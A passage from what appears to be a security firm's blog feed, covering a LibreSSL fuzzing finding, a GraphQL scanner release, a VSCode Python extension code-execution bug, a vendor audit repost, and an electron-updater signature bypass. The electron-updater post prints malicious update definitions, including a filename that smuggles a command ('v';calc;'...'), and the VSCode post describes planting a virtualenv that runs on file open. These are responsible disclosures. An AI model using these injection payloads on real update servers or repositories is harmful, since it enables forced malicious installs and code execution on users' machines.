#13 0x41db18 in _start
</code></pre></div></div>
<p>This “wild” address read may be employed by malicious actors to perform leaks in security sensitive context. The <a href="https://www.libressl.org/">Libressl</a> maintainers team not only addressed the vulnerability promptly but also included an ulterior protection in order to guard against missing <code class="language-plaintext highlighter-rouge">ASN1_PRIMITIVE_FUNCS</code> in <a href="https://github.com/libressl-portable/openbsd/commit/46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9"><code class="language-plaintext highlighter-rouge">46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9</code></a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>commit 46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9
Author: jsing <>
Date: Mon Apr 1 15:48:04 2019 +0000
Require all ASN1_PRIMITIVE_FUNCS functions to be provided.
If an ASN.1 item provides its own ASN1_PRIMITIVE_FUNCS functions, require
all functions to be provided (currently excluding prim_clear). This avoids
situations such as having a custom allocator that returns a specific struct
but then is then printed using the default primative print functions, which
interpret the memory as a different struct.
</code></pre></div></div>
<h2 id="closing-the-door-to-strangers">Closing the door to strangers</h2>
<p><a href="https://en.wikipedia.org/wiki/Fuzzing">Fuzzing</a>, despite being seen as one of the easiest ways to discover security vulnerabilities, still works very well. Even if <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a> is especially tailored to open source projects, it can also be
adapted to closed source projects. In fact, at the cost of implementing the <code class="language-plaintext highlighter-rouge">LLVMFuzzerOneInput</code> interface, it integrates all the latest and greatest clang/llvm fuzzer technology.
As Dockerfile language improves enormously on the devops side, we strongly believe that the <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a> fuzzing
interface definition language should be employed in every non-trivial closed source project too. If you need help, contact us for your <a href="https://doyensec.com/automation.html">security automation</a> projects!</p>
<p>As always, this research was funded thanks to the <a href="https://doyensec.com/research.html">25% research time offered at Doyensec</a>. Tune in again for new episodes!</p>
InQL Scanner2020-03-26T00:00:00+01:00https://blog.doyensec.com/2020/03/26/graphql-scanner<h3 id="inql-is-now-public">InQL is now public!</h3>
<p>As a part of our continuing security research journey, we started developing an internal tool to speed-up GraphQL security testing efforts. We’re excited to announce that InQL is <a href="https://github.com/doyensec/inql">available on Github</a>.</p>
<div style="text-align: center;">
<img src="../../../public/images/dslovegraphql.jpg" title="Doyensec Loves GraphQL" alt="Doyensec Loves GraphQL" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>InQL can be used as a stand-alone script, or as a <a href="https://portswigger.net/burp">Burp Suite</a> extension (available for both Professional and Community editions).
The tool leverages GraphQL built-in <a href="https://graphql.org/learn/introspection/">introspection query</a> to dump <em>queries</em>, <em>mutations</em>, <em>subscriptions</em>, fields, arguments and retrieve default and custom objects.
This information is collected and then processed to construct API endpoints documentation in the form of HTML and JSON schema. InQL is also able to generate query templates for all the known types. The scanner has the ability to identify basic query types and replace them with placeholders that will render the query ready to be ingested by a remote API endpoint.</p>
<p>We believe this feature, combined with the ability to send query templates to Burp’s Repeater, will decrease the time to exploit vulnerabilities in GraphQL endpoints and drastically lower the bar for security research against GraphQL tech stacks.</p>
<h3 id="inql-scanner-burp-suite-extension">InQL Scanner Burp Suite Extension</h3>
<p>Using the <code class="language-plaintext highlighter-rouge">inql</code> extension for Burp Suite, you can:</p>
<ul>
<li>Search for known GraphQL URL paths; the tool will grep and match known values to detect GraphQL endpoints within the target website</li>
<li>Search for exposed GraphQL development consoles (<em>GraphiQL</em>, <em>GraphQL Playground</em>, and other common utilities)</li>
<li>Use a custom GraphQL tab displayed on each HTTP request/response containing GraphQL</li>
<li>Leverage the template generation by sending those requests to Burp’s Repeater tool</li>
<li>Configure the tool by using a custom settings tab</li>
</ul>
<video controls="" preload="auto" width="100%" height="100%" poster="/public/images/inql_preview.png">
<source src="/public/images/inql_demo.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<h4 id="enabling-inql-scanner-extension-in-burp">Enabling InQL Scanner Extension in Burp</h4>
<p>To use <code class="language-plaintext highlighter-rouge">inql</code> in Burp Suite, import the Python extension:</p>
<ul>
<li>Download the latest <a href="https://www.jython.org/download">Jython</a> Jar</li>
<li>Download the latest version of <a href="https://github.com/doyensec/inql/releases/">InQL scanner</a></li>
<li>Start Burp Suite</li>
<li>Extender Tab > Options > Python Enviroment > Set the location of Jython standalone JAR</li>
<li>Extender Tab > Extension > Add > Extension Type > Select Python</li>
<li>Extension File > Set the location of <code class="language-plaintext highlighter-rouge">inql_burp.py</code> > Next</li>
<li>The output window should display the following message: <code class="language-plaintext highlighter-rouge">InQL Scanner Started!</code></li>
</ul>
<p>In the next future, we might consider integrating the extension within Burp’s BApp Store.</p>
<h3 id="inql-demo">InQL Demo</h3>
<p>We completely revamped the command line interface in light of InQL’s public release. This interface retains most of the Burp plugin functionalities.</p>
<p>It is now possible to install the tool with <code class="language-plaintext highlighter-rouge">pip</code> and run it through your favorite CLI.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install inql
</code></pre></div></div>
<p>For all supported options, check the command line help:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>usage: inql <span class="o">[</span><span class="nt">-h</span><span class="o">]</span> <span class="o">[</span><span class="nt">-t</span> TARGET] <span class="o">[</span><span class="nt">-f</span> SCHEMA_JSON_FILE] <span class="o">[</span><span class="nt">-k</span> KEY] <span class="o">[</span><span class="nt">-p</span> PROXY]
<span class="o">[</span><span class="nt">--header</span> HEADERS HEADERS] <span class="o">[</span><span class="nt">-d</span><span class="o">]</span> <span class="o">[</span><span class="nt">--generate-html</span><span class="o">]</span>
<span class="o">[</span><span class="nt">--generate-schema</span><span class="o">]</span> <span class="o">[</span><span class="nt">--generate-queries</span><span class="o">]</span> <span class="o">[</span><span class="nt">--insecure</span><span class="o">]</span>
<span class="o">[</span><span class="nt">-o</span> OUTPUT_DIRECTORY]
InQL Scanner
optional arguments:
<span class="nt">-h</span>, <span class="nt">--help</span> show this <span class="nb">help </span>message and <span class="nb">exit</span>
<span class="nt">-t</span> TARGET Remote GraphQL Endpoint <span class="o">(</span>https://<Target_IP>/graphql<span class="o">)</span>
<span class="nt">-f</span> SCHEMA_JSON_FILE Schema file <span class="k">in </span>JSON format
<span class="nt">-k</span> KEY API Authentication Key
<span class="nt">-p</span> PROXY IP of web proxy to go through <span class="o">(</span>http://127.0.0.1:8080<span class="o">)</span>
<span class="nt">--header</span> HEADERS HEADERS
<span class="nt">-d</span> Replace known GraphQL arguments types with placeholder
values <span class="o">(</span>useful <span class="k">for </span>Burp Suite<span class="o">)</span>
<span class="nt">--generate-html</span> Generate HTML Documentation
<span class="nt">--generate-schema</span> Generate JSON Schema Documentation
<span class="nt">--generate-queries</span> Generate Queries
<span class="nt">--insecure</span> Accept any SSL/TLS certificate
<span class="nt">-o</span> OUTPUT_DIRECTORY Output Directory
</code></pre></div></div>
<p>An example query can be performed on one of the numerous <a href="https://github.com/APIs-guru/graphql-apis">exposed APIs</a>, e.g <code class="language-plaintext highlighter-rouge">anilist.co</code> endpoints:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ $ </span>inql <span class="nt">-t</span> https://anilist.co/graphql
<span class="o">[</span>+] Writing Queries Templates
| Page
| Media
| MediaTrend
| AiringSchedule
| Character
| Staff
| MediaList
| MediaListCollection
| GenreCollection
| MediaTagCollection
| User
| Viewer
| Notification
| Studio
| Review
| Activity
| ActivityReply
| Following
| Follower
| Thread
| ThreadComment
| Recommendation
| Like
| Markdown
| AniChartUser
| SiteStatistics
<span class="o">[</span>+] Writing Queries Templates
| UpdateUser
| SaveMediaListEntry
| UpdateMediaListEntries
| DeleteMediaListEntry
| DeleteCustomList
| SaveTextActivity
| SaveMessageActivity
| SaveListActivity
| DeleteActivity
| ToggleActivitySubscription
| SaveActivityReply
| DeleteActivityReply
| ToggleLike
| ToggleLikeV2
| ToggleFollow
| ToggleFavourite
| UpdateFavouriteOrder
| SaveReview
| DeleteReview
| RateReview
| SaveRecommendation
| SaveThread
| DeleteThread
| ToggleThreadSubscription
| SaveThreadComment
| DeleteThreadComment
| UpdateAniChartSettings
| UpdateAniChartHighlights
<span class="o">[</span>+] Writing Queries Templates
<span class="o">[</span>+] Writing Queries Templates
</code></pre></div></div>
<p>The resulting HTML documentation page will contain details for all available queries, mutations, and subscriptions.</p>
<h4 id="stay-tuned">Stay tuned!</h4>
<p>Back in May 2018, we published a <a href="https://blog.doyensec.com/2018/05/17/graphql-security-overview.html">blog post</a> on GraphQL security where we focused on vulnerabilities and misconfigurations. As part of that research effort, we developed a simple script to query GraphQL endpoints. After the publication, we received a lot of positive feedbacks that sparked even more interest in further developing the concept. Since then, we have refined our GraphQL testing methodologies and tooling. As part of our standard customer engagements, we often perform testing against GraphQL technologies, hence we expect to continue our research efforts in this space. Going forward, we will keep improving detection and make the tool more stable.</p>
<p>This project was made with love in the <a href="https://doyensec.com/research.html">Doyensec Research island</a>.</p>
Don't Clone That Repo: Visual Studio Code^2 Execution2020-03-16T00:00:00+01:00https://blog.doyensec.com/2020/03/16/vscode_codeexec<p>This is the story of how I stumbled upon a code execution vulnerability in the <a href="https://marketplace.visualstudio.com/items?itemName=ms-python.python">Visual Studio Code Python</a> extension. It currently has <strong>16.5M+</strong> installs reported in the extension marketplace.</p>
<video controls="" preload="auto" width="100%" height="100%" poster="/public/images/VSCode_RCE_2020Q1_PoC_snapshot.jpg">
<source src="/public/images/VSCode_RCE_2020Q1_PoC.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<p><br /></p>
<h2 id="the-bug">The bug</h2>
<p>Some time ago I was reviewing a client’s Python web application when I noticed a warning</p>
<p><img src="/public/images/pylint_not_installed_warning.png" alt="VSCode pylint not installed warning" /></p>
<p>Fair enough, I thought, I just need to install <code class="language-plaintext highlighter-rouge">pylint</code>.</p>
<p>To my surprise, after running <code class="language-plaintext highlighter-rouge">pip install --user pylint</code> the warning was still there.
Then I noticed <code class="language-plaintext highlighter-rouge">venv-test</code> displayed on the lower-left of the editor window. Did VSCode just automatically select the Python environment from the project folder?! To confirm my hypothesis, I installed <code class="language-plaintext highlighter-rouge">pylint</code> inside that virtualenv and the warning disappeared.</p>
<p><img src="/public/images/pylint_not_installed_warning_fullscreen.png" alt="VSCode pylint not installed warning full window screenshot" /></p>
<p>This seemed sketchy, so I added <code class="language-plaintext highlighter-rouge">os.exec("/Applications/Calculator.app")</code> to one of <code class="language-plaintext highlighter-rouge">pylint</code> sources and a calculator spawned. <strong>Easiest code execution ever!</strong></p>
<p>VSCode behaviour is dangerous since the virtualenv found in a project folder is activated without user interaction. Adding a malicious folder to the workspace and opening a python file inside the project is sufficient to trigger the vulnerability.
Once a virtualenv is found, VSCode saves its path in <code class="language-plaintext highlighter-rouge">.vscode/settings.json</code>. If found in the cloned repo, this value is loaded and trusted without asking the user. In practice, it is possible to hide the virtualenv in any repository.</p>
<p>The behavior is not in VSCode core, but rather in the Python extension. We contacted Microsoft on the 2nd October 2019, however <strong>the vulnerability is still not patched</strong> at the time of writing. Given that the industry-standard 90 days expired and the issue is exposed in a <a href="https://github.com/microsoft/vscode-python/issues/7805">GitHub issue</a>, we have decided to disclose the vulnerability.</p>
<h2 id="poc--gtfo">PoC || GTFO</h2>
<p>You can try for yourself! This innocuous PoC repo opens <em>Calculator.app</em> on macOS:</p>
<ul>
<li>1) <code class="language-plaintext highlighter-rouge">git clone git@github.com:doyensec/VSCode_PoC_Oct2019.git</code></li>
<li>2) add the cloned repo to the VSCode workspace</li>
<li>3) open <code class="language-plaintext highlighter-rouge">test.py</code> in VScode</li>
</ul>
<p>This repo contains a “malicious” settings.json which selects the virtualenv in <code class="language-plaintext highlighter-rouge">totally_innocuous_folder/no_seriously_nothing_to_see_here</code>.</p>
<p>In case of a bare-bone repo like this noticing the virtualenv might be easy, but it’s clear to see how one might miss it in a real-life codebase. Moreover, it is certainly undesirable that VSCode executes code from a folder by just opening a Python file in the editor.</p>
<h2 id="disclosure-timeline">Disclosure Timeline</h2>
<ul>
<li><em>2nd Oct 2019</em>: Issue discovered</li>
<li><em>2nd Oct 2019</em>: Security advisory sent to Microsoft</li>
<li><em>8th Oct 2019</em>: Response from Microsoft, issue opened on vscode-python bug tracker <a href="https://github.com/microsoft/vscode-python/issues/7805">#7805</a></li>
<li><em>7th Jan 2020</em>: Asked Microsoft for a resolution timeframe</li>
<li><em>8th Jan 2020</em>: Microsoft replies that the issue should be fixed by mid-April 2020</li>
<li><em>16th Mar 2020</em>: Doyensec advisory and blog post is published</li>
</ul>
<h3 id="edits">Edits</h3>
<ul>
<li><em>17th Mar 2020</em>: The blogpost stated that the extension is bundled by default with the editor. That is not the case, and we removed that claim. Thanks <a href="https://twitter.com/justinsteven">@justinsteven</a> for pointing this out!</li>
</ul>
2019 Gravitational Security Audit Results2020-03-02T00:00:00+01:00https://blog.doyensec.com/2020/03/02/gravitational-audit<blockquote>
<p>This is a re-post of the original blogpost published by <a href="https://gravitational.com/blog/security-audit-2019-1/">Gravitational</a> on the 2019 security audit results for their two products: <a href="https://gravitational.com/teleport/">Teleport</a> and <a href="https://gravitational.com/gravity">Gravity</a>.</p>
<p>You can download the security testing deliverables for <a href="https://doyensec.com/resources/Doyensec_Gravitational_Teleport_Report_Q22019_WithRetesting.pdf">Teleport</a> and <a href="https://doyensec.com/resources/Doyensec_Gravitational_Gravity_Report_Q22019_WithRetesting.pdf">Gravity</a> from our research page.</p>
<p>We would like to take this opportunity to thank the Gravitational engineering team for choosing Doyensec and working with us to ensure a successful project execution.</p>
</blockquote>
<p>We now live in an era where the security of all layers of the software stack are immensely important, and simply open sourcing a code base is not enough to ensure that security vulnerabilities surface and are addressed. At Gravitational, we see it as a necessity to engage a third party that specializes in acting as an adversary, and provide an independent analysis of our sources.</p>
<div style="text-align: center;">
<img src="../../../public/images/gravisecurityaudit.png" width="100%" title="2019 Gravitational Security Audit Results" alt="2019 Gravitational Security Audit Results" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>This year, we had an opportunity to work with <a href="https://www.doyensec.com/">Doyensec</a>, which provided the most thorough independent analysis of Gravity and Teleport to date. The Doyensec team did an amazing job at finding areas where we are weak in the Gravity code base. Here is the full report for <a href="https://doyensec.com/resources/Doyensec_Gravitational_Teleport_Report_Q22019_WithRetesting.pdf">Teleport</a> and <a href="https://doyensec.com/resources/Doyensec_Gravitational_Gravity_Report_Q22019_WithRetesting.pdf">Gravity</a>; and you can find all of our security audits <a href="https://gravitational.com/resources/audits/">here</a>.</p>
<h2 id="gravity">Gravity</h2>
<p>Gravity has a lot of moving components. As a Kubernetes distribution and distributed system for delivering Kubernetes in many unique environments, the product’s attack surface isn’t small.</p>
<p>All flaws considered medium or higher except for one were patched and released as they were reported by the Doyensec team, and we’ve also been working towards addressing the more minor and informational issues as part of our normal release process. Out of the four vulnerabilities rated as high by Doyensec, we’ve managed to patch three of them, and the fourth relies on a significant investment in design and tooling change which we’ll go into in a moment.</p>
<h3 id="insecure-decompression-of-application-bundles">Insecure Decompression of Application Bundles</h3>
<p>Part of what Gravity does is package applications into an installer that can be taken to on-prem and air-gapped environments, installing a fully working Kubernetes cluster and application without dependencies. As such, we build our artifacts as a tar file - a virtually universally supported archive format.</p>
<p>Along with this, our own tooling is able to process and accept these tar archives, which is where we run into problems. Golang’s tar handling code is extremely basic and this allows very old tar handling problems to surface, granting specially crafted tar files the ability to overwrite arbitrary system files and allowing for remote code execution. Our tar handling has now been hardened against such vulnerabilities, and we’ll write a post digging into just this topic soon.</p>
<h3 id="remote-code-execution-via-malicious-auth-connector">Remote Code Execution via Malicious Auth Connector</h3>
<p>When using our cli tools to do single sign on, we launch a browser for the user to the single sign on page. This was done by passing a url from the server to the client to tell it where the SSO page is located.</p>
<p>Someone with access to the server is able to change the url to be a non http(s) url and execute programs locally on the cli host. We’ve implemented sanitization of the url passed by the server to enforce http(s), and also changed the design of some new features to not require trusting data from a server.</p>
<h3 id="missing-acls-in-the-api">Missing ACLs in the API</h3>
<p>Perhaps the most embarrassing issue in this list - the API endpoints responsible for managing API tokens were missing authorization ACLs. This allowed for any authenticated user, even those with empty permissions, to access, edit, and create tokens for other users. This would allow for user impersonation and privilege escalation. This vulnerability was quickly addressed by implementing the correct ACLs, and the team is working hard to ensure these types of vulnerabilities do not reoccur.</p>
<h3 id="missing-signature-verification-in-application-bundles">Missing Signature Verification in Application Bundles</h3>
<p>This is the vulnerability we haven’t been able to address so far, as it was never a design objective to protect against this particular vulnerability.</p>
<p>Gravity includes a hub product for enterprise customers that allows for the storage and download of application assets, either for installation or upgrade. In essence, part of the hub product is to act as a file server where a company can store their application, and internally or publically connect deployed clusters for updates.</p>
<p>The weakness in the model, as has been seen by many public artifact repositories, is that this security model relies on the integrity of the system storing those assets.</p>
<p>While not necessarily a vulnerability on its own, this is a design weakness that doesn’t match the capabilities the security community expects. The security is roughly equivalent to posting a binary build to Github - anyone with the correct access can modify or post malicious assets, and anyone who trusts Github when downloading that asset could be getting a malicious asset. Instead, packages should be signed in some way before being posted to a public download server, and the software should have a method for trusting that updates and installs come from a trusted source.</p>
<p>This is a really difficult problem that many companies have gotten wrong, so it’s not something that Gravitational as an organization is willing to rush a solution for. There are several well known models that we are evaluating, but we’re not at a stage where we have a solution that we’re completely happy with.</p>
<p>In this realm, we’re also going to end-of-life the hub product as the asset storage functionality is not widely used. We’re also going move the remote access functionality that our customers do care about over to our Teleport product.</p>
<h2 id="teleport">Teleport</h2>
<p>As we mentioned in the Teleport 4.2 release notes, the most serious issues were centered around the incorrect handling of session data. If an attacker was able to gain valid x509 credentials of a Teleport node, they could use the session recording facility to read/write arbitrary files on the Auth Server or potentially corrupt recorded session data.</p>
<p>These vulnerabilities could be only exploited using credentials from a previously authenticated client. There was no known way to exploit this vulnerability outside the cluster by non-authenticated clients.</p>
<p>After the re-assessment, all issues with any direct security impact were addressed. From the report:</p>
<blockquote>
<p>In January 2020, Doyensec performed a retesting of the Teleport platform and confirmed the effectiveness of the applied mitigations. All issues with direct security impact have been addressed by Gravitational.</p>
</blockquote>
<p>Even though all direct issues were mitigated, there was one issue in the report that continued to bother us and we felt we could do better on: “#6: Session Recording Bypasses”. This is something we had known about for quite some time and something we have been upfront with to users and customers. Session recording is a great feature, however due to the inherent complexity of the problem being solved, bypasses do exist.</p>
<p>Teleport 4.2 introduced a new feature called <a href="https://gravitational.com/teleport/docs/features/enhanced_session_recording/">Enhanced Session Recording</a> that uses eBPF tooling to substantially reduce the bypass gaps that can exist. We’ll have more to share on that soon in the form of another blog post that will go into the technical implementation details for that feature.</p>
Signature Validation Bypass Leading to RCE In Electron-Updater2020-02-24T00:00:00+01:00https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass<blockquote>
<p>We’ve been made aware that the vulnerability discussed in this blog post has been independently discovered and disclosed to the public by a well-known <a href="https://twitter.com/julianor/status/1228708674585157632">security researcher</a>. Since the security issue is now public and it is over 90 days from our initial disclosure to the maintainer, we have decided to publish the details - even though the fix available in the latest version of Electron-Builder does not fully mitigate the security flaw.</p>
</blockquote>
<p><a href="https://github.com/electron-userland/electron-builder">Electron-Builder</a> advertises itself as a “<em>complete solution to package and build a ready for distribution Electron app with auto update support out of the box</em>”. For macOS and Windows, code signing and verification are also supported. At the time of writing, the package counts around 100k weekly downloads, and it is being used by ~36k projects with over 8k stargazers.
<br /></p>
<div style="text-align: center;">
<img src="../../../public/images/electron-builder-repository.jpg" title="Electron-Builder repository" alt="Electron-Builder repository" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>This software is commonly used to build platform-specific packages for ElectronJs-based applications and it is frequently employed for software updates as well. The auto-update feature is provided by its <a href="https://github.com/electron-userland/electron-builder/tree/master/packages/electron-updater">electron-updater</a> submodule, internally using <a href="https://github.com/Squirrel/Squirrel.Mac">Squirrel.Mac</a> for macOS, <a href="https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_System">NSIS</a> for Windows and <a href="https://appimage.org/">AppImage</a> for Linux. In particular, it features a <a href="https://www.electron.build/code-signing">dual code-signing</a> method for Windows (supporting SHA1 & SHA256 hashing algorithms).</p>
<h3 id="a-fail-open-design">A Fail Open Design</h3>
<p>As part of a security engagement for one of our customers, we have reviewed the update mechanism performed by Electron Builder, and discovered an overall lack of secure coding practices. In particular, we identified a vulnerability that can be leveraged to bypass the signature verification check hence leading to remote command execution.</p>
<p>The signature verification check performed by electron-builder is simply based on a string comparison between the installed binary’s <code class="language-plaintext highlighter-rouge">publisherName</code> and the certificate’s <em>Common Name</em> attribute of the update binary. During a software update, the application will request a file named <code class="language-plaintext highlighter-rouge">latest.yml</code> from the update server, which contains the definition of the new release - including the binary filename and hashes.</p>
<p>To retrieve the update binary’s publisher, the module executes <a href="https://github.com/electron-userland/electron-builder/blob/a0026a7422977b449709f8a662d9dd30600a31b1/packages/electron-updater/src/windowsExecutableCodeSignatureVerifier.ts#L13-L43">the following code</a> leveraging the native <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-authenticodesignature?view=powershell-7">Get-AuthenticodeSignature</a> cmdlet from Microsoft.PowerShell.Security:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code> execFile<span class="o">(</span><span class="s2">"powershell.exe"</span>, <span class="o">[</span><span class="s2">"-NoProfile"</span>, <span class="s2">"-NonInteractive"</span>, <span class="s2">"-InputFormat"</span>, <span class="s2">"None"</span>, <span class="s2">"-Command"</span>, <span class="sb">`</span>Get-AuthenticodeSignature <span class="s1">'${tempUpdateFile}'</span> | ConvertTo-Json <span class="nt">-Compress</span><span class="sb">`</span><span class="o">]</span>, <span class="o">{</span>
<span class="nb">timeout</span>: 20 <span class="k">*</span> 1000
<span class="o">}</span>, <span class="o">(</span>error, stdout, stderr<span class="o">)</span> <span class="o">=></span> <span class="o">{</span>
try <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span>error <span class="o">!=</span> null <span class="o">||</span> stderr<span class="o">)</span> <span class="o">{</span>
handleError<span class="o">(</span>logger, error, stderr<span class="o">)</span>
resolve<span class="o">(</span>null<span class="o">)</span>
<span class="k">return</span>
<span class="o">}</span>
const data <span class="o">=</span> parseOut<span class="o">(</span>stdout<span class="o">)</span>
<span class="k">if</span> <span class="o">(</span>data.Status <span class="o">===</span> 0<span class="o">)</span> <span class="o">{</span>
const name <span class="o">=</span> parseDn<span class="o">(</span>data.SignerCertificate.Subject<span class="o">)</span>.get<span class="o">(</span><span class="s2">"CN"</span><span class="o">)!</span>
<span class="k">if</span> <span class="o">(</span>publisherNames.includes<span class="o">(</span>name<span class="o">))</span> <span class="o">{</span>
resolve<span class="o">(</span>null<span class="o">)</span>
<span class="k">return</span>
<span class="o">}</span>
<span class="o">}</span>
const result <span class="o">=</span> <span class="sb">`</span>publisherNames: <span class="k">${</span><span class="nv">publisherNames</span><span class="p">.join(</span><span class="s2">" | "</span><span class="p">)</span><span class="k">}</span>, raw info: <span class="sb">`</span> + JSON.stringify<span class="o">(</span>data, <span class="o">(</span>name, value<span class="o">)</span> <span class="o">=></span> name <span class="o">===</span> <span class="s2">"RawData"</span> ? undefined : value, 2<span class="o">)</span>
logger.warn<span class="o">(</span><span class="sb">`</span>Sign verification failed, installer signed with incorrect certificate: <span class="k">${</span><span class="nv">result</span><span class="k">}</span><span class="sb">`</span><span class="o">)</span>
resolve<span class="o">(</span>result<span class="o">)</span>
<span class="o">}</span>
catch <span class="o">(</span>e<span class="o">)</span> <span class="o">{</span>
logger.warn<span class="o">(</span><span class="sb">`</span>Cannot execute Get-AuthenticodeSignature: <span class="k">${</span><span class="nv">error</span><span class="k">}</span><span class="nb">.</span> Ignoring signature validation due to unknown error.<span class="sb">`</span><span class="o">)</span>
resolve<span class="o">(</span>null<span class="o">)</span>
<span class="k">return</span>
<span class="o">}</span>
<span class="o">})</span>
</code></pre></div></div>
<p>which translates to the following PowerShell command:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>powershell.exe <span class="nt">-NoProfile</span> <span class="nt">-NonInteractive</span> <span class="nt">-InputFormat</span> None <span class="nt">-Command</span> <span class="s2">"Get-AuthenticodeSignature 'C:</span><span class="se">\U</span><span class="s2">sers</span><span class="se">\<</span><span class="s2">USER></span><span class="se">\A</span><span class="s2">ppData</span><span class="se">\R</span><span class="s2">oaming</span><span class="se">\<</span><span class="s2">vulnerable app name></span><span class="se">\_</span><span class="s2">_update__</span><span class="se">\<</span><span class="s2">update name>.exe' | ConvertTo-Json -Compress"</span>
</code></pre></div></div>
<p>Since the <code class="language-plaintext highlighter-rouge">${tempUpdateFile}</code> variable is provided unescaped to the <code class="language-plaintext highlighter-rouge">execFile</code> utility, an attacker could bypass the entire signature verification by triggering a parse error in the script. This can be easily achieved by using a filename containing a single quote and then by recalculating the file hash to match the attacker-provided binary (using <code class="language-plaintext highlighter-rouge">shasum -a 512 maliciousupdate.exe | cut -d " " -f1 | xxd -r -p | base64</code>).</p>
<p>For instance, a malicious update definition would look like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>version: 1.2.3
files:
- url: v’ulnerable-app-setup-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
size: 44653912
path: v'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'
</code></pre></div></div>
<p>When serving a similar <code class="language-plaintext highlighter-rouge">latest.yml</code> to a vulnerable Electron app, the attacker-chosen setup executable will be run without warnings. Alternatively, they may leverage the lack of escaping to pull out a trivial command injection:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>version: 1.2.3
files:
- url: v';calc;'ulnerable-app-setup-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
size: 44653912
path: v';calc;'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'
</code></pre></div></div>
<p>From an attacker’s standpoint, it would be more practical to backdoor the installer and then leverage preexisting electron-updater features like <a href="https://github.com/electron-userland/electron-builder/blob/master/packages/electron-updater/src/NsisUpdater.ts#L115">isAdminRightsRequired</a> to run the installer with <em>Administrator</em> privileges.</p>
<div style="text-align: center;">
<img src="../../../public/images/screen-electron-updater-poc.png" title="PoC Reproduction of the command injection by using Burp's interception feature" alt="PoC Reproduction of the command injection by using Burp's interception feature" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<h3 id="impact">Impact</h3>
<p>An attacker could leverage this fail open design to force a malicious update on Windows clients, effectively gaining code execution and persistence capabilities. This could be achieved in several scenarios, such as a service compromise of the update server, or an advanced MITM attack leveraging the lack of certificate validation/pinning against the update server.</p>
<h3 id="disclosure-timelines">Disclosure Timelines</h3>
<p>Doyensec contacted the main project maintainer on <em>November 12th, 2019</em> providing a full description of the vulnerability together with a Proof-of-Concept. After multiple solicitations, on <em>January 7th, 2020</em> Doyensec received a reply acknowledging the bug but downplaying the risk.</p>
<p>At the same time (<em>November 12th, 2019</em>), we identified and reported this issue to a number of affected popular applications using the vulnerable electron-builder update mechanism on Windows, including:</p>
<ul>
<li><a href="https://github.com/Automattic/wp-desktop">Wordpress for Desktop</a> - <em>Still vulnerable in v4.7.0</em></li>
<li><a href="https://github.com/iotaledger/trinity-wallet/">IOTA Trinity Wallet</a> - <em>Auto-updates feature has been disabled for Windows (<a href="https://github.com/iotaledger/trinity-wallet/pull/2566">#2566</a>, <a href="https://github.com/iotaledger/trinity-wallet/pull/2588">#2588</a>)</em></li>
<li><a href="https://github.com/meetalva/alva">Alva</a> - <em>Still vulnerable in v0.9.2</em></li>
<li><a href="https://github.com/mymonero/mymonero-app-js">MyMonero</a> - <em>Still vulnerable in v1.1.13</em></li>
<li><a href="https://github.com/cozy-labs/cozy-desktop">Cozy Drive</a> - <em>Still vulnerable in v3.19.0</em></li>
</ul>
<p>On <em>February 15th, 2020</em>, we’ve been made aware that the vulnerability discussed in this blog post was discussed on Twitter. On <em>February 24th, 2020</em>, we’ve been informed by the package’s mantainer that the issue was resolved in release <a href="https://github.com/electron-userland/electron-builder/releases/tag/v22.3.5">v22.3.5</a>. While the patch is mitigating the potential command injection risk, the fail-open condition is still in place and we believe that other attack vectors exist. After informing all affected parties, we have decided to publish our technical blog post to emphasize the risk of using Electron-Builder for software updates.</p>
<h3 id="mitigations">Mitigations</h3>
<p>Despite its popularity, <strong>we would suggest moving away from Electron-Builder</strong> due to the lack of secure coding practices and responsiveness of the maintainer.</p>
<p><a href="https://www.electronforge.io/">Electron Forge</a> represents a potential well-maintained substitute, which is taking advantage of the built-in Squirrel framework and Electron’s <code class="language-plaintext highlighter-rouge">autoUpdater</code> module. Since the Squirrel.Windows doesn’t implement signature validation either, for a robust signature validation on Windows consider shipping the app to the Windows Store or incorporate <a href="https://github.com/jedisct1/minisign">minisign</a> into the update workflow.</p>
<p>Please note that using Electron-Builder to prepare platform-specific binaries does not make the application vulnerable to this issue as the vulnerability affects the <em>electron-updater</em> submodule only. Updates for Linux and Mac packages are also not affected.</p>
